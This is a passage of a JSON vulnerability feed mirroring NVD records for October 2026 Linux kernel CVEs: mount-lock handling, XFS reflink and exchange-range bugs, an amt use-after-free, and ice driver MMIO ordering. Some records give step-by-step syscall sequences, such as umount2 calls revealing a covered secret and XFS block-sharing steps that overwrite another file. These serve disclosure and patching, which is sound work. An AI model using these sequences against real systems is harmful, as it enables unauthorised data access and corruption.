shrink_submounts() doesn't.\n\nA shrinkable mount can become locked once the owner of a user namespace\nputs it beneath a locked mount with MOVE_MOUNT_BENEATH. The locked\nproperty now moves to the mount at the bottom making it possible to\nunmount the top mount.\n\nSo umount() of an unlocked ancestor now expires the bottom mount first\nand the covered directory is revealed:\n\n  move_mount(c -> x/hidden, MOVE_MOUNT_BENEATH) = 0\n  the cover after the lock moved:  umount2(x/hidden) = 0\n  the holder of the lock:          umount2(x/hidden) = EINVAL\n  the root of the copy, busy:      umount2(x) = EBUSY\n  reads x/hidden/secret: \"covered-by-root\"\n\nSo leave a locked mount alone as it dies together with its parent. A\nplain umount() of an unlocked mount with a locked one below it is EBUSY\nfrom now on. It's the same for any other locked child. A lazy umount\nstill takes the whole tree.\n\nmark_mounts_for_expiry() never sees a locked mount. lock_mnt_tree()\nleaves a mount on an expiry list alone and nothing else puts a locked\none on such a list. Add an assert for this.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:19.517Z","updatedAt":"2026-10-24T14:16:50.377Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98978","asOf":"2026-10-24T14:16:50.377Z"},"epss":{"probability":0.0017,"percentile":0.06305,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98978&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98978","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98978","type":"primary","publishedAt":"2026-10-23T13:17:19.517Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98978&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98978, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98976","cveId":"CVE-2026-98976","aliases":[],"kind":"vulnerability","title":"Linux kernel: namespace: keep the lock on a mount that a propagated copy is moved beneath","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: keep the lock on a mount that a propagated copy is moved beneath\n\nattach_recursive_mnt() transfers MNT_LOCKED from the top mount to the\nmount that is moved beneath it with MOVE_MOUNT_BENEATH. This allows the\nowner of a user namespace to replace its locked /proc or its root. The\nmount beneath takes on the job of covering the underlying mountpoint\nallowing the top mount to be unmounted.\n\nConsider two mount namespaces:\n\n(H) The host H has a shared mount P with a secret in P/d\n(Z) Z is a user namespace made from M. Its copy of P receives\n    propagation from the host's P and its copy of M's cover on P/d is\n    locked Z's owner must not get to see P/d.\n\nNow (H) mounts X on P/d. This propagates into (Z). The copy of X lands\nbeneath (Z)'s locked cover. The locked property is transfered from (Z)'s\ncover to the copy of X propagated beneath it. The cover is now unlocked.\n\nNow (H) unmounts X again. The copy of X in (Z) gets unmounted and the\ncovering mount is left unlocked on top of P/d. (Z) can now unmount it:\n\n    Z: umount2(P/d)             = EINVAL            /* the cover is locked */\n    H: mount X on P/d, umount X                     /* both propagate into Z /*\n    Z: umount2(P/d)             = 0                 /* the cover is now unlocked */\n    Z: read P/d/secret          = \"covered-by-root\" /* secret revealed */\n\nSo only transfer the locked property to the mount beneath for mounts the\ncaller has placed. A propagated copy that lands beneath a locked mount\nis locked as well so that the mount at the bottom of the stack carries a\nlock the way every check expects. The mount on top of it remains locked\nto ensure that it keeps covering even if the propagated mount is\nunmounted again.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: keep the lock on a mount that a propagated copy is moved beneath\n\nattach_recursive_mnt() transfers MNT_LOCKED from the top mount to the\nmount that is moved beneath it with MOVE_MOUNT_BENEATH. This allows the\nowner of a user namespace to replace its locked /proc or its root. The\nmount beneath takes on the job of covering the underlying mountpoint\nallowing the top mount to be unmounted.\n\nConsider two mount namespaces:\n\n(H) The host H has a shared mount P with a secret in P/d\n(Z) Z is a user namespace made from M. Its copy of P receives\n    propagation from the host's P and its copy of M's cover on P/d is\n    locked Z's owner must not get to see P/d.\n\nNow (H) mounts X on P/d. This propagates into (Z). The copy of X lands\nbeneath (Z)'s locked cover. The locked property is transfered from (Z)'s\ncover to the copy of X propagated beneath it. The cover is now unlocked.\n\nNow (H) unmounts X again. The copy of X in (Z) gets unmounted and the\ncovering mount is left unlocked on top of P/d. (Z) can now unmount it:\n\n    Z: umount2(P/d)             = EINVAL            /* the cover is locked */\n    H: mount X on P/d, umount X                     /* both propagate into Z /*\n    Z: umount2(P/d)             = 0                 /* the cover is now unlocked */\n    Z: read P/d/secret          = \"covered-by-root\" /* secret revealed */\n\nSo only transfer the locked property to the mount beneath for mounts the\ncaller has placed. A propagated copy that lands beneath a locked mount\nis locked as well so that the mount at the bottom of the stack carries a\nlock the way every check expects. The mount on top of it remains locked\nto ensure that it keeps covering even if the propagated mount is\nunmounted again.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:19.280Z","updatedAt":"2026-10-24T14:16:50.243Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98976","asOf":"2026-10-24T14:16:50.243Z"},"epss":{"probability":0.00137,"percentile":0.03103,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98976&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98976","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98976","type":"primary","publishedAt":"2026-10-23T13:17:19.280Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98976&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98976, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98975","cveId":"CVE-2026-98975","aliases":[],"kind":"vulnerability","title":"Linux kernel: xfs: stop exchanging reflink flags when exchanging mappings","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: stop exchanging reflink flags when exchanging mappings\n\nWhen an exchange covers both files from offset 0 to i_disk_size,\nxmi_can_exchange_reflink_flags() assumes every mapping moved and hands\nthe reflink flag over to the other file.\n\nThat assumption is wrong.  A file can still own shared blocks past\ni_disk_size, e.g. after EXCHANGE_RANGE_TO_EOF sets a smaller size\nwithout unmapping anything.  The flag is cleared anyway, and the next\nwrite to such a block happens in place instead of CoW, corrupting the\nother file that shares it.\n\nCommit a23eca88448e (\"xfs: fix exchange-range reflink flag clearing\nissue with INO1_WRITTEN\") fixed one instance of this.  Rather than add\nanother special case, stop moving the flags.\nxfs_exchmaps_ensure_reflink() already sets the flag on both inodes\nbefore the exchange, so both just keep it.\n\nNothing sets CLEAR_INO{1,2}_REFLINK anymore.  Intents logged by older\nkernels may still carry them; recovery already masks them off, so they\nstay in the log format mask and are ignored.\n\nXFS_IOC_SWAPEXT has the same problem: it moves the reflink flag from\none inode to the other along with the extents.  Just removing that is\nnot enough here: the exchange path flags both inodes up front in\nxfs_exchmaps_ensure_reflink(), but swapext has no such step, so the\ninode receiving the shared extents would be left without the flag.\nSet it on both inodes instead, and make sure both have a CoW fork,\nsince an inode with the reflink flag is expected to have one.\n\nThe flag now stays until FALLOC_FL_UNSHARE_RANGE, xfs_scrub, or a\ntruncate to zero removes it.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: stop exchanging reflink flags when exchanging mappings\n\nWhen an exchange covers both files from offset 0 to i_disk_size,\nxmi_can_exchange_reflink_flags() assumes every mapping moved and hands\nthe reflink flag over to the other file.\n\nThat assumption is wrong.  A file can still own shared blocks past\ni_disk_size, e.g. after EXCHANGE_RANGE_TO_EOF sets a smaller size\nwithout unmapping anything.  The flag is cleared anyway, and the next\nwrite to such a block happens in place instead of CoW, corrupting the\nother file that shares it.\n\nCommit a23eca88448e (\"xfs: fix exchange-range reflink flag clearing\nissue with INO1_WRITTEN\") fixed one instance of this.  Rather than add\nanother special case, stop moving the flags.\nxfs_exchmaps_ensure_reflink() already sets the flag on both inodes\nbefore the exchange, so both just keep it.\n\nNothing sets CLEAR_INO{1,2}_REFLINK anymore.  Intents logged by older\nkernels may still carry them; recovery already masks them off, so they\nstay in the log format mask and are ignored.\n\nXFS_IOC_SWAPEXT has the same problem: it moves the reflink flag from\none inode to the other along with the extents.  Just removing that is\nnot enough here: the exchange path flags both inodes up front in\nxfs_exchmaps_ensure_reflink(), but swapext has no such step, so the\ninode receiving the shared extents would be left without the flag.\nSet it on both inodes instead, and make sure both have a CoW fork,\nsince an inode with the reflink flag is expected to have one.\n\nThe flag now stays until FALLOC_FL_UNSHARE_RANGE, xfs_scrub, or a\ntruncate to zero removes it.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:19.157Z","updatedAt":"2026-10-24T14:16:50.093Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98975","asOf":"2026-10-24T14:16:50.093Z"},"epss":{"probability":0.00163,"percentile":0.0548,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98975&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98975","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98975","type":"primary","publishedAt":"2026-10-23T13:17:19.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98975&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98975, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98974","cveId":"CVE-2026-98974","aliases":[],"kind":"vulnerability","title":"Linux kernel: xfs: fix exchange-range-to-eof file size exchange","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: fix exchange-range-to-eof file size exchange\n\nNorbert Szetei posted a patch containing an incomplete description of a\nbug in XFS_IOC_EXCHANGE_RANGE's TO_EOF flag.  The bug tricks\nexchange-range into modifying a file so that it has shared blocks\nstarting beyond EOF, which is never allowed because files never have\nwritten data beyond EOF, and you can only share written data blocks.\nThis is key to all the incorrect behavior that follows.\n\nEventually I got from Norbert a description of what's going wrong:\n\n> Fair. Here it is with physical block numbers, 4k blocks. peer is the file\n> that gets rewritten and file1 is the one that ends up with the flag\n> cleared.\n>\n> Start, nothing shared:\n>\n>\tpeer size 4096   -> [100]\n>\tfile1 size 12288 -> [200] [201] [202]\n>\tdonor1 size 4096 -> [300]\n>\tdonor2 size 4096 -> [400]\n>\n> 1. FICLONERANGE peer's block into file1's middle slot:\n>\n>\tpeer size 4096   -> [100]\n>\tfile1 size 12288 -> [200] [100] [202] reflink flag set\n>                             ^^^^^ both files own block 100\n>\n> 2. XFS_IOC_EXCHANGE_RANGE file1 against donor1, file1_offset 0,\n> file2_offset 8192, length 0, TO_EOF. One block is exchanged, and the sizes\n> are exchanged with it:\n>\n>\tfile1 size 4096   -> [200] [100] [300] reflink flag set\n>                              ^^^^^^^^^^^ still owned, now past the size\n>\tdonor1 size 12288 -> [202]\n>\n> file1 says it is one block long while it still owns three. Nothing was\n> unmapped. file2_offset is block 2, so this exchange cannot clear a flag.\n>\n> 3. XFS_IOC_EXCHANGE_RANGE file1 against donor2, both offsets 0, length 4096.\n> By i_disk_size this is two one-block files exchanging everything, so\n> xmi_can_exchange_reflink_flags() agrees and the flag is cleared:\n>\n>\tfile1 size 4096   -> [400] [100] [300] reflink flag CLEARED\n>\tdonor2 size 4096  -> [200]\n>\n> Block 100 is still shared with peer.\n>\n> 4. pwrite(file1, 4096, 4096), which is file1's second slot, block 100.\n> xfs_is_cow_inode(file1) is false, so no CoW:\n>\n>\tpeer size 4096 -> [100] same block, new contents\n>\n> Block 100 is the only one that matters here. PoC below, it reads a file\n> called peer","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: fix exchange-range-to-eof file size exchange\n\nNorbert Szetei posted a patch containing an incomplete description of a\nbug in XFS_IOC_EXCHANGE_RANGE's TO_EOF flag.  The bug tricks\nexchange-range into modifying a file so that it has shared blocks\nstarting beyond EOF, which is never allowed because files never have\nwritten data beyond EOF, and you can only share written data blocks.\nThis is key to all the incorrect behavior that follows.\n\nEventually I got from Norbert a description of what's going wrong:\n\n> Fair. Here it is with physical block numbers, 4k blocks. peer is the file\n> that gets rewritten and file1 is the one that ends up with the flag\n> cleared.\n>\n> Start, nothing shared:\n>\n>\tpeer size 4096   -> [100]\n>\tfile1 size 12288 -> [200] [201] [202]\n>\tdonor1 size 4096 -> [300]\n>\tdonor2 size 4096 -> [400]\n>\n> 1. FICLONERANGE peer's block into file1's middle slot:\n>\n>\tpeer size 4096   -> [100]\n>\tfile1 size 12288 -> [200] [100] [202] reflink flag set\n>                             ^^^^^ both files own block 100\n>\n> 2. XFS_IOC_EXCHANGE_RANGE file1 against donor1, file1_offset 0,\n> file2_offset 8192, length 0, TO_EOF. One block is exchanged, and the sizes\n> are exchanged with it:\n>\n>\tfile1 size 4096   -> [200] [100] [300] reflink flag set\n>                              ^^^^^^^^^^^ still owned, now past the size\n>\tdonor1 size 12288 -> [202]\n>\n> file1 says it is one block long while it still owns three. Nothing was\n> unmapped. file2_offset is block 2, so this exchange cannot clear a flag.\n>\n> 3. XFS_IOC_EXCHANGE_RANGE file1 against donor2, both offsets 0, length 4096.\n> By i_disk_size this is two one-block files exchanging everything, so\n> xmi_can_exchange_reflink_flags() agrees and the flag is cleared:\n>\n>\tfile1 size 4096   -> [400] [100] [300] reflink flag CLEARED\n>\tdonor2 size 4096  -> [200]\n>\n> Block 100 is still shared with peer.\n>\n> 4. pwrite(file1, 4096, 4096), which is file1's second slot, block 100.\n> xfs_is_cow_inode(file1) is false, so no CoW:\n>\n>\tpeer size 4096 -> [100] same block, new contents\n>\n> Block 100 is the only one that matters here. PoC below, it reads a file\n> called peer in the current directory. The filesystem needs reflink and\n> exchange-range, which mkfs.xfs 7.x turns on by default.\n\nSo yes, TO_EOF is screwing up the file size even if it's actually\nexchanging the data block correctly.  The following is the intended\nbehavior of XFS_EXCHANGE_RANGE_TO_EOF, as described by its manpage:\n\n\"Ignore the length parameter.  All bytes in file1_fd from file1_offset\n to EOF are moved to file2_fd, and file2's size is set to\n (file2_offset+(file1_length-file1_offset)).  Meanwhile, all bytes in\n file2 from file2_offset to EOF are moved to file1 and file1's size is\n set to (file1_offset+(file2_length-file2_offset)).\"\n\nIn other words, if we only exchange a portion of the file data, then we\nshould only exchange the portion of the file size that relates to the\nexchanged data.  Unfortunately, the code swaps the ondisk file size and\nthe incore file sizes, which is incorrect if the caller passes in a\nnonzero offset.\n\nHaving confused the file sizes, the PoC uses a second exchange-range\ncall on what looks like a non-reflinked single-block file.  Because the\nfile size is set incorrectly, exchange-range thinks it's exchanging the\nfull contents of two files and clears the reflink flag on the broken\nfile.  That enables an extending write of the broken file to rewrite the\nshared block that's just past EOF.  This has become known colloquially\nas refluxfs.\n\nOnce the file sizes are set correctly, the second exchange-range no\nlonger thinks that it's doing a full-contents swap, so it won't clear\nthe reflink flag on either of its file arguments.\n\nNorbert followed up to an earlier version of this patch with a second\ncomplaint about us not handling the i_disk_size state correctly:\n\n> The offsets are bounded against the incore i_size but subtracted from\n>\n---truncated---\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:19.013Z","updatedAt":"2026-10-24T14:16:49.923Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98974","asOf":"2026-10-24T14:16:49.923Z"},"epss":{"probability":0.00163,"percentile":0.05479,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98974&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98974","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98974","type":"primary","publishedAt":"2026-10-23T13:17:19.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98974&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98974, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98968","cveId":"CVE-2026-98968","aliases":[],"kind":"vulnerability","title":"Linux kernel: amt: send the relay's General Query directly from the receive path","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\namt: send the relay's General Query directly from the receive path\n\nAn skb queued in a qdisc can outlive the tunnel it references\nthrough a raw pointer in skb->cb. For example, with igmp_qrv set\nto 1 on the relay a tunnel lives for 135s, so a netem delay of\n180s on the amt device outlives it; when the tunnel expires and is\nfreed, the subsequent dequeue triggers a use-after-free in\namt_dev_xmit().\n\n  BUG: KASAN: slab-use-after-free in amt_dev_xmit+0x2763/0x2e20\n  Call Trace:\n   amt_dev_xmit+0x2763/0x2e20 [drivers/net/amt.c:1262]\n   dev_hard_start_xmit+0x22f/0x620\n   sch_direct_xmit+0x12e/0xac0\n   netem_dequeue+0x333/0xc50\n   net_tx_action+0x35c/0xa60\n\namt_send_igmp_gq() and amt_send_mld_gq() are only called from\namt_request_handler(), inside the rcu_read_lock_bh() section of\namt_rcv(). amt_request_handler() already has the tunnel the query is\nfor: it found or created it inside that section. Queuing the query with\ndev_queue_xmit() only leads back into amt_dev_xmit(), which strips the\nEthernet header and calls amt_send_membership_query() for that tunnel.\n\nMake that call directly from the two senders instead, the same way\namt_send_advertisement() transmits from the receive path. The query\nnever waits in a qdisc, the tunnel is only dereferenced inside the\nRCU section that found or created it, and nothing is stored in\nskb->cb, so no lookup or refcount is needed. Remove the query branch\nof amt_dev_xmit(), amt_skb_cb() and struct amt_skb_cb, which have no\nusers left.\n\nBehaviour changes:\n - The relay's own General Queries no longer pass through the amt\n   device's egress path: its qdisc, tc egress (clsact/tcx), the\n   netfilter egress hook and packet taps. They are still visible as\n   UDP on the underlay.\n - A query that is sent successfully is no longer counted as\n   tx_dropped. The old query branch left through the unlock label,\n   which counted every sent query as dropped.\n - A query that reaches amt_dev_xmit() on a relay from elsewhere,\n   such as a userspace querier, is now dropped at the IGMP/MLD type\n   switch. Before, it trusted whatever skb->cb held, and a NULL\n   tunnel hit the WARN_ON(1).","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\namt: send the relay's General Query directly from the receive path\n\nAn skb queued in a qdisc can outlive the tunnel it references\nthrough a raw pointer in skb->cb. For example, with igmp_qrv set\nto 1 on the relay a tunnel lives for 135s, so a netem delay of\n180s on the amt device outlives it; when the tunnel expires and is\nfreed, the subsequent dequeue triggers a use-after-free in\namt_dev_xmit().\n\n  BUG: KASAN: slab-use-after-free in amt_dev_xmit+0x2763/0x2e20\n  Call Trace:\n   amt_dev_xmit+0x2763/0x2e20 [drivers/net/amt.c:1262]\n   dev_hard_start_xmit+0x22f/0x620\n   sch_direct_xmit+0x12e/0xac0\n   netem_dequeue+0x333/0xc50\n   net_tx_action+0x35c/0xa60\n\namt_send_igmp_gq() and amt_send_mld_gq() are only called from\namt_request_handler(), inside the rcu_read_lock_bh() section of\namt_rcv(). amt_request_handler() already has the tunnel the query is\nfor: it found or created it inside that section. Queuing the query with\ndev_queue_xmit() only leads back into amt_dev_xmit(), which strips the\nEthernet header and calls amt_send_membership_query() for that tunnel.\n\nMake that call directly from the two senders instead, the same way\namt_send_advertisement() transmits from the receive path. The query\nnever waits in a qdisc, the tunnel is only dereferenced inside the\nRCU section that found or created it, and nothing is stored in\nskb->cb, so no lookup or refcount is needed. Remove the query branch\nof amt_dev_xmit(), amt_skb_cb() and struct amt_skb_cb, which have no\nusers left.\n\nBehaviour changes:\n - The relay's own General Queries no longer pass through the amt\n   device's egress path: its qdisc, tc egress (clsact/tcx), the\n   netfilter egress hook and packet taps. They are still visible as\n   UDP on the underlay.\n - A query that is sent successfully is no longer counted as\n   tx_dropped. The old query branch left through the unlock label,\n   which counted every sent query as dropped.\n - A query that reaches amt_dev_xmit() on a relay from elsewhere,\n   such as a userspace querier, is now dropped at the IGMP/MLD type\n   switch. Before, it trusted whatever skb->cb held, and a NULL\n   tunnel hit the WARN_ON(1).\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:18.310Z","updatedAt":"2026-10-24T14:16:49.777Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98968","asOf":"2026-10-24T14:16:49.777Z"},"epss":{"probability":0.00495,"percentile":0.4219,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98968&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98968","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98968","type":"primary","publishedAt":"2026-10-23T13:17:18.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98968&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98968, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98965","cveId":"CVE-2026-98965","aliases":[],"kind":"vulnerability","title":"Linux kernel: ice: Restore Ordered MMIO Writes for Tx Doorbells","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nice: Restore Ordered MMIO Writes for Tx Doorbells\n\nThe DQL accounting state which tracks the number of bytes queued for the\nNIC to transmit, namely dql->num_queued, is updated by the ICE driver\nwhen it invokes __netdev_tx_sent_queue(). Subsequently the driver\nupdates the hardware queue tail allowing the NIC to begin processing the\nwork queue. The queue accounting update should be ordered before the NIC\nbegins transmitting descriptors.\n\nThe transmit path currently updates the hardware doorbell using\nwritel_relaxed(), which (on arm64) does not provide the same ordering\nguarantees between writes to normal memory and writes to MMIO registers\nthat writel() does. This introduces a potential race where the NIC\nbegins transmitting descriptors before the dql->num_queued update is\nglobally visible. If the NIC finishes before the update is observed by\ndql_completed(), it detects an invalid state where more bytes have been\ncompleted than have been queued. When this happens the following BUG_ON\nis triggered.\n\n  BUG_ON(count > num_queued - dql->num_completed);\n\nThis has been observed and manifests as the following crash (note that\nthe trace has been trimmed) in an environment with sustained network\nload that uses an Intel Corporation Ethernet Controller E810-XXV for SFP\n(rev 02) on an arm64 machine. Replacing writel_relaxed() with writel()\nin a test kernel eliminated the crash in the user's workload, which\npreviously reproduced the issue reliably.\n\n  kernel BUG at lib/dynamic_queue_limits.c:99\n\nInternal error: Oops - BUG: 00000000f2000800 [#1] SMP\npc : dql_completed+0x268/0x2a0\nlr : ice_clean_tx_irq+0x1d4/0x620 [ice]\nCall trace:\ndql_completed+0x268/0x2a0 (P)\nice_napi_poll+0x94/0x520 [ice]\n__napi_poll+0x48/0x3f0\nnet_rx_action+0x194/0x420\n\nThis restores the behaviour prior to commit ccde82e90946 (\"ice: add E830\nEarliest TxTime First Offload support\"), which changed the notification\nmechanism from writel() to writel_relaxed().","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nice: Restore Ordered MMIO Writes for Tx Doorbells\n\nThe DQL accounting state which tracks the number of bytes queued for the\nNIC to transmit, namely dql->num_queued, is updated by the ICE driver\nwhen it invokes __netdev_tx_sent_queue(). Subsequently the driver\nupdates the hardware queue tail allowing the NIC to begin processing the\nwork queue. The queue accounting update should be ordered before the NIC\nbegins transmitting descriptors.\n\nThe transmit path currently updates the hardware doorbell using\nwritel_relaxed(), which (on arm64) does not provide the same ordering\nguarantees between writes to normal memory and writes to MMIO registers\nthat writel() does. This introduces a potential race where the NIC\nbegins transmitting descriptors before the dql->num_queued update is\nglobally visible. If the NIC finishes before the update is observed by\ndql_completed(), it detects an invalid state where more bytes have been\ncompleted than have been queued. When this happens the following BUG_ON\nis triggered.\n\n  BUG_ON(count > num_queued - dql->num_completed);\n\nThis has been observed and manifests as the following crash (note that\nthe trace has been trimmed) in an environment with sustained network\nload that uses an Intel Corporation Ethernet Controller E810-XXV for SFP\n(rev 02) on an arm64 machine. Replacing writel_relaxed() with writel()\nin a test kernel eliminated the crash in the user's workload, which\npreviously reproduced the issue reliably.\n\n  kernel BUG at lib/dynamic_queue_limits.c:99\n\nInternal error: Oops - BUG: 00000000f2000800 [#1] SMP\npc : dql_completed+0x268/0x2a0\nlr : ice_clean_tx_irq+0x1d4/0x620 [ice]\nCall trace:\ndql_completed+0x268/0x2a0 (P)\nice_napi_poll+0x94/0x520 [ice]\n__napi_poll+0x48/0x3f0\nnet_rx_action+0x194/0x420\n\nThis restores the behaviour prior to commit ccde82e90946 (\"ice: add E830\nEarliest TxTime First Offload support\"), which changed the notification\nmechanism from writel() to writel_relaxed().\n\nNVD status: Received. Publication in the NVD is not evidence of 